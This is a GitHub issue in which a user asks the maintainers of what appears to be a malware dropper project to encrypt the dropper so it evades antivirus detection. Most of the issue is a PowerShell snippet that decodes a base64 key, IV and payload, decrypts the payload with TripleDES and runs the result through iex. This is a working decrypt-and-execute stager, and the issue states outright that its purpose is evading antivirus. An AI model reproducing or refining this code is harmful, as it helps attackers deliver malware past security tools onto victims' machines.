Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Suggestion #48

Open
0xcreston opened this issue Oct 15, 2022 · 0 comments
Open

Suggestion #48

0xcreston opened this issue Oct 15, 2022 · 0 comments

Comments

@0xcreston
Copy link

0xcreston commented Oct 15, 2022

I would like you to make the dropper encrypted with aes-256 or 3des-192-cbc to evade AV's
It would be something like this

$key = [Convert]::FromBase64String("xKc6APq4mM0xAjMg6TETedOZKqugeZYB")
$iv = [Convert]::FromBase64String("pVglsY0BHNk=")
$Payload = "YxNjPvngQ3g=";
$TDES = New-Object "System.Security.Cryptography.TripleDESCryptoServiceProvider";
$TDES.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$TDES.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$TDES.BlockSize = 64;
$TDES.KeySize = 192;
$DataByte = [Convert]::FromBase64String($Payload)
$MS = New-Object System.IO.MemoryStream(,$DataByte)
$CS = New-Object System.Security.Cryptography.CryptoStream($MS,$TDES.CreateDecryptor($Key,$IV), [System.Security.Cryptography.CryptoStreamMode]::Read)
$Reader = New-Object System.IO.StreamReader($CS)
$Result = $Reader.ReadToEnd()
$Reader.Dispose()
iex($Result)

I don't know much about encryption , just making a suggestion that might reduce the AV detection rate of the dropper since powershell is used to download the payload.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant